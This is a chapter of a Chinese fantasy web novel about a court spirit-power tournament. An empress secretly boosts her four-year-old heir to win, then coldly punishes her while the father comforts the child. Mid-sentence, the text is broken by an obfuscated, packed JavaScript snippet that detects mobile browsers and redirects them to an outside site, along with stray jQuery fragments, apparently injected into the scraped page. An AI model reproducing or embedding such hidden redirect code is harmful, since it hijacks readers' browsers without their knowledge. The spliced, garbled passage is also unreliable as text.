时光如同指间流沙，匆匆已来到赤霄五年。
五年间，魏勉励精图治，宵朝的疆域日益稳固，政权也逐渐集中。她以惊人的精力平衡着朝堂与后宫。
期间，为了“开枝散叶、广衍皇嗣”的需求，也为了满足自身渐起的探索欲，她陆续和三位侍君又诞下了三位皇子。
在魏勉得知与裴景然、段宴清结合诞下的孩子都是男孩的瞬间，那颗因背负着巨大压力而始终悬着的心，终于落回了实处，暗暗松了口气。
三皇子魏珏和四皇子魏澄这两个男孩的诞生，如同两颗定心丸，让军中最重要的两大势力——北境裴家与东海水师段家，与皇室的利益和血脉都进行了更深层次的捆绑，极大地稳固了魏勉的统治。
而男孩虽同样尊贵，却从法理上，对恒儿的太子之位构不成任何威胁。这既是对忠心耿耿、实力雄厚的裴段两家巨大的交代和恩宠，又完美地避开了可能引发储位之争的最大隐患。这无疑是最好的结果。
最让朝野上下津津乐道的，是魏勉与那位出身微末却赢得她别样恩宠的侍君时安，诞下了宵朝的五皇子——魏麟。有人说，这恰恰是因为时安母族卑微，无法在朝中结成足以威胁太子的势力，王上才“放心”与他生下女儿。
这三位皇嗣的诞生，并未在朝堂上引发过大的波澜，却也让后宫的势力格局变得更加微妙而复杂。三皇子魏珏身后，站着屡建军功的北境裴家；四皇子魏澄背后，是掌控着海上命脉的东海段氏；而五皇子魏麟虽然年幼，其父时安在王上身边那日渐增长的影响力，也让她成为了一股不容小觑的潜在力量。
然而，无论后宫的风景如何变幻，无论新的皇子们获得了多少明面上的恩宠——
太子魏恒，这位承载了魏勉最多期望、也是她与昭彦爱情最初承诺的结晶，始终是宵朝独一无二的储君。
如今，魏恒已是四岁的年纪。她继承了魏勉顶尖的灵力天赋，小小年纪，体内奔腾的能量已远超同龄人，甚至让许多成年灵主都自愧不如。
为了进一步巩固她的太子之位，也为了向天下昭示宵朝后继有人的盛况，魏勉决定，在今年秋季举行的、京都规模最盛大的灵力角斗上，让魏恒正式亮相，一显身手。
位于京都南郊的演武竞灵场，今日是人山人海，盛况空前。这座足以容纳五万人的巨大环形场地，此刻座无虚席。高高的看台上，既有衣着光鲜、佩戴着家族徽记的王室贵族与灵主世家，也有踮着脚尖、满脸兴奋的普通市民。
她们从四面八方涌来，只为一睹这场融合了荣耀、机遇，也充满了血腥与残酷的年度盛事。
场地的中央，是一个由特殊黑色岩石铺就的、直径近百丈的巨大圆形擂台。擂台表面刻满了复杂而古老的符文，在阳光下泛着淡淡的灵光，四周则环绕着由数十名高阶灵主合力维持的、半透明的灵力防护屏障，以防止比试中过于强大的力量波及观众。
按照惯例，任何年满十三岁的女子，无论出身贵贱，皆可报名参加角斗。她们只需签下一纸生死契约，便可在这擂台上一展身手。
胜者，不仅能获得丰厚的奖赏，更有可能被朝廷看中，得到破格提拔，从此平步青云；败者，轻则灵力受损，重则当场殒命，亦无人追责。荣耀与危险并存，刺激着每一个渴望改变命运、证明自己的年轻灵主。
今日，却又格外不同。因为所有人都知道，年仅四岁的太子殿下魏恒，将首次参加角斗，作为压轴环节的“表演赛”选手。
高台正中，巨大的华盖之下，魏勉身着象征至高权力的、绣着日月山河图案的金色朝服，头戴九凤朝阳冠，神情肃穆，不怒自威。她周身散发出的磅礴灵力如同实质，笼罩全场，让喧嚣的声浪都为之降低了几分。
她的左手侧，稍低半阶的位置，是首夫昭彦。他一身代表首夫身份的深紫色锦袍，衬得他愈发沉稳英挺。他凝视着下方巨大的擂台，眼神深处，却藏着一丝难以掩饰的、对即将登场的女儿的担忧。
王上的右手侧及下方，则分坐着几位备受恩宠的侍君，再往下，便是满朝文武与各大家族的代表。每个人脸上的表情各异，期待、好奇、紧张、或是暗藏着别样的心思。
冗长的比试在残酷而激烈的氛围中进行着。不断有年轻人在擂台上捉对厮杀，灵力激荡，光华四射，引得看台阵阵惊呼与喝彩。也不断有人受伤，甚至殒命当场，被侍卫们面无表情地拖下去。这就是赤宵朝尚武精神的体现，也是底层灵主向上攀爬的血腥阶梯。
终于，当日头渐渐西斜，所有常规比试宣告结束，整个竞灵场的气氛被推向了最巅峰！
在内侍官高亢的唱喏声中：“恭请太子殿下——魏恒！”
一个穿着特制浅紫色、绣着小小金色龙纹软袍的小小身影，似是可以模仿着母亲的样子迈着沉稳的步伐，走入了巨大的擂台中央。
正是年仅四岁的魏恒！
她生得粉雕玉琢，眉眼之间却已有了魏勉那股天生的英气与威严，一双乌溜溜的大眼睛，此刻正好奇又带着点小骄傲地环视着四周山呼海啸般的观众。她腰间甚至还煞有介事地佩戴着一柄小小的、精致的木剑。虽然身量尚小，但她体内那澎湃汹涌、几乎要压抑不住的灵力波动，如同沉睡的幼龙即将苏醒，让所有在场的灵主都不由得暗自心惊！
“太子殿下千岁！千岁！千千岁！”
看台上爆发出震耳欲聋的欢呼。这就是他们未来的王上！如此年幼，便有如此威势！
魏勉看着女儿小小的身影，眼中也闪过一丝满意的期待。
恒儿，去吧！让所有人看看，谁才是宵朝独一无二的继承人！用你的力量，震慑那些潜在的不安分！
按照流程，会由几位在先前比试中表现优异，且自愿挑战太子的成年选手上场。然而，结果毫无悬念。
魏恒人虽小，但灵力天赋实在太过恐怖。只见她小手一挥，便是炽热的火球呼啸而出，或是凌厉的风刃切割而去。她的招式或许还很稚嫩，缺乏技巧，但那份源自血脉的、精纯而磅礴的灵力，足以弥补一切。往往对手还在凝结灵力，便已被她简单粗暴的灵力释放轰下台去。
接连击败了十余名比她年长许多、经验也丰富得多的成年灵主后，魏恒叉着小腰，仰着小脸，站在擂台中央，眼中充满了胜利者的骄傲。
场内掌声雷动，欢呼震天。朝臣们也纷纷起身，向魏勉道贺：“太子殿下天赋异禀，亘古未有！实乃我宵朝之幸，天下之福！”
魏勉脸上露出略显谦逊的微笑，心中却觉得理所当然。她的女儿，本就该如此。
然而，就在所有人都以为今日的表演即将圆满结束时，内侍官再次高声唱喏：
“请——裴氏之子，裴景珑，上台赐教！”
话音刚落，一个穿着玄色紧身武服，约莫五岁左右的小女孩，从看台一侧，迈着与她哥哥裴景然如出一辙的、沉稳有力的步伐，走上了擂台。
这小女孩生得浓眉大眼，透着一股倔强劲儿。她的身材比同龄女孩要显得更加结实，也更加高挑一些，周身散发出的灵力波动，并非风火，而是带着一种狂暴、毁灭气息的雷霆之力。
看台上的裴景然眼中瞬间充满了骄傲，对着台上的妹妹无声地点了点头。
珑儿，拿出你的本事！让王上看看我们裴家女儿的风采！
场内的气氛瞬间变得微妙起来。一个是万众瞩目的太子殿下，风火双绝；一个是将门虎子，身负罕见的雷霆之力。这才是真正的强强对决！
魏勉脸上的笑容淡了些，眉头微不可查地皱了一下。
裴景懿倒是会教女儿......雷霆之力？
有点意思。不过，想凭这个就挑战恒儿的威信？还不够！
擂台之上，两个加起来还不到十岁的小女孩，遥遥相对。
“太子殿下，请指教！”裴景珑声音清脆，抱拳行礼，动作一丝不苟。
魏恒扬了扬小下巴，奶声奶气却又带着十足傲气地说道：“裴景珑，出手吧！让我看看你有没有资格做我的对手！”
“得罪了！”
话音未落，裴景珑率先发难！只见她小小的身体猛地一跺脚，地面符文闪亮，一道粗壮的紫色电蛇便“滋啦”一声，破土而出，直扑魏恒！
魏恒反应也是极快，小手一挥，一道烈焰旋风凭空出现，精准地撞上电蛇，火光电芒爆裂，发出震耳欲聋的巨响！
两个小家伙瞬间战作一团！
魏恒身形灵动，风灵之力加持下如同翩飞的蝴蝶，指尖不断点出炽热的火球与凌厉的风刃，攻势迅猛如潮。
裴景珑则沉稳如山，雷霆灵力大开大合，每一次出手都带着万钧之势，或引动天雷劈落，或凝聚雷光护体，将魏恒的攻击一一化解，并不断以刚猛的雷击反攻！
擂台上，一时间火光冲天，电芒四射！风声呼啸，雷声滚滚！灵力碰撞的巨响不绝于耳，震得防护屏障都嗡嗡作响！
两个小小的身影在巨大的擂台上兔起鹘落，打得难解难分。她们的招式或许还很粗糙，但那份精纯磅礴的灵力，以及那股不服输的狠劲儿，却让所有观战的成年灵主都暗自惊呼！
“太......太强了！这真的是四岁和五岁的孩子吗？！”
“太子殿下的风火之力固然霸道，可裴家这孩子的雷霆之力也太刚猛了！”
看台上的观众早已看得目瞪口呆，继而爆发出更加狂热的掌声与呐喊！朝臣们也开始窃窃私语：
“裴氏之子，竟能与太子殿下战至如此地步？”
“这雷霆灵力......当真罕见......”
高台之上，魏勉的脸色，一点点沉了下来，暗自思忖；“恒儿！你在做什么？！区区一个裴景珑，竟能与你缠斗至此？！平日里让你好生修炼，你都当耳旁风了吗？！”
在她看来，魏恒作为太子，作为她灵力的继承者，面对任何同龄人，哪怕年长一两岁，都应该是碾压之势！此刻这般旗鼓相当，甚至隐隐有被压制的迹象，简直就是丢了她这个王上的脸面！
她心中升起一股无名火，看向裴景然的目光也带上了一丝冷意。
裴家......很好！
眼看两人又一次灵力对撞，双双震退，气息都有些不稳，魏勉指尖微不可查地一动。一股极其隐晦的灵力，悄无声息地融入了擂台四周的防护屏障之中，极其轻微地改变了屏障内风火元素的流转效率。
下一刻，魏恒再次凝聚出一道火焰球，那火焰的颜色似乎比之前更深邃了些许，威力也陡然增加了一成！
裴景珑正欲故技重施，以雷光盾硬抗，却没料到这火焰威力骤增，“轰”的一声，雷光盾竟被直接击溃！她被强大的冲击力震得蹬蹬蹬连退数步，嘴角溢出一丝鲜血，气息瞬间紊乱！
“太子殿下胜——！”裁判立刻高声宣布！
全场爆发出震耳欲聋的欢呼！
魏恒站在原地，微微喘着气，看着被自己击败的裴景珑，眼中闪过一丝疑惑——似乎没觉得自己刚才那招有那么强，但很快便被胜利的骄傲所取代，她得意地扬起了小脸。
裴景珑倔强地擦去嘴角的血迹，不甘心地瞪了魏恒一眼，但还是依足礼数，对着高台方向
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817787|175397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
行了一礼，才被匆匆赶来的裴家人扶下台去。裴景然立刻起身迎了上去，眼中充满了对妹妹的心疼，也有一闪而逝的、对结果的了然与不甘。
高台之上，魏勉脸上终于露出了“满意”的微笑，接受着百官的朝贺。但那笑容，却未达眼底，反而带着一丝冰冷的寒意。
平局已是丢人，靠我暗中相助才险胜，更是耻辱！
恒儿......你太让我失望了！
昭彦将这一切看在眼里，尤其是魏勉那细微的动作和魏恒最后那威力陡增的一击，他如何能不明白？他心中一痛，看向女儿的目光充满了心疼。
恒儿才四岁啊......她已经做得够好了！王上，您为了所谓的颜面，竟如此逼迫她，甚至不惜......
他握紧了拳头，一股对魏勉的不满与失望，悄然滋生。
比试结束的当晚，魏勉便将魏恒召到了寝宫。
往日里总是对女儿充满慈爱的王上，此刻却脸色冷峻，目光锐利如刀。
“恒儿，”她声音冰冷，不带一丝温度，“你可知今日之错？”
魏恒刚刚经历了一场大战，又被母亲这从未有过的冷遇吓到，小脸煞白，低着头站在殿中，小手不安地绞着衣角，眼中噙着泪水，却倔强地不肯落下，声音带着委屈：“母、母皇......儿臣......儿臣尽力了......儿臣赢了......”
“赢了？”魏勉冷笑一声，“若非最后关头孤暗中助你，你早已败在裴景珑手下！你身为宵朝太子，身负至高灵力血脉，竟被一个仅比你年长一岁的裴氏之子逼到如此境地！险胜？这简直是耻辱！丢尽了孤与宵朝的颜面！”
她的语气越来越严厉，每一个字都像冰锥一样扎在魏恒心上：“平日让你勤加修炼，你都当做儿戏了吗？！如此懈怠，将来如何继承大统？！怎配做孤的女儿？！”
魏恒再也忍不住，哇的一声哭了出来，抽噎着：“母皇......儿臣没有......儿臣真的尽力了......那个裴景珑......她的雷好厉害......”
“住口！”魏勉厉声打断，“输了便是输了！再厉害的对手，你也必须给孤碾压过去！这才是孤的女儿，宵朝的太子该有的样子！”
她挥了挥手，语气中充满了失望与不耐烦，“下去！从明日起，你的训练加倍！若再有下次......孤便亲自废了你的太子之位！”
魏恒被吓得小脸惨白，抽噎着行了个礼，一步三回头地退出了寝宫。那小小的、孤单的背影，在空旷的宫殿里，显得如此可怜。
自那日起，魏勉对魏恒的态度便急转直下。她不再召见女儿闲谈玩耍，即使偶尔见面，也只是考校功课，言语间尽是严厉与不满。训练场上，更是化身最严苛的导师，对魏恒的任何一点瑕疵都毫不留情地训斥。甚至，她连晚上睡前抱一抱女儿，亲一亲她额头这样简单的温情，也吝于给予了。
魏恒虽然依旧在拼命训练，灵力也在飞速增长，但那双曾经充满骄傲与灵气的眼眸，却渐渐蒙上了一层失落与惶恐。
母皇为什么不理我了？是不是恒儿做得不够好？
恒儿......真的不是母皇的好女儿吗？
这一切，昭彦都看在眼里，疼在心里。
数日后，练武场。
昭彦看着女儿小小的身影，一次又一次地被严苛的教习灵主击倒，又一次次倔强地爬起来，满是汗水的小脸上，写满了不属于她这个年纪的严肃与委屈，他的心如同被刀割一般。
终于，在一个训练间隙，他走上前去，蹲下身，用袖子轻轻拭去魏恒脸上的汗水与灰尘，声音温柔得能滴出水来：“恒儿，累不累？今日表现得极好，比昨日又有进步了。爹爹为你骄傲。”
魏恒紧绷的小脸瞬间垮了下来，憋了许久的泪水夺眶而出，猛地扑进昭彦温暖而坚实的怀抱，放声大哭：“爹爹......呜呜......母皇......母皇还是不理我......我是不是......是不是真的很没用......”
昭彦的心痛得无以复加。他紧紧抱着女儿，感受着她小小的身体因委屈而颤抖，眼中闪过一抹难以抑制的怒意与失望。
他对魏勉这种近乎冷酷的功利性育儿方式，产生了前所未有的不满。他知道魏勉肩上的担子重，知道她对恒儿期望高，但这绝不该是以牺牲一个孩子本该拥有的母爱与童年为代价！
但他终究没有选择直接去质问魏勉。他知道，以魏勉如今的心性与地位，他的质问或许不仅于事无补，反而会引发更大的冲突。他能做的，只有默默地，用自己的方式，去弥补女儿缺失的温暖。
自那天起，只要有空，昭彦便会亲自指导魏恒的灵力训练和体能。他不像那些教习灵主那样严苛，而是耐心讲解，循循善诱，肯定她的每一个进步，在她失败时给予鼓励。他会陪她练剑，教她在灵力之外，也要有强健的体魄和不屈的意志。他会在她累的时候，将她高高举起，逗她开心；会在她哭泣的时候，将她紧紧抱在怀里，告诉她“爹爹永远在这里”。
他用一个父亲的、属于力者的、或许不够细腻却足够坚实可靠的方式，努力地呵护着这颗在母亲的严寒下，有些过早地品尝到权力世界残酷滋味的小小幼苗。
恒儿，别怕。有爹爹在。无论你母皇如何，爹爹会永远保护你，陪着你。
你是爹爹唯一的骄傲。
他在心中暗暗发誓，也要更加警惕宫内外的动向，尤其是裴家。
父女俩相依的身影，在偌大的练武场上，显得有些孤单，却又异常坚定。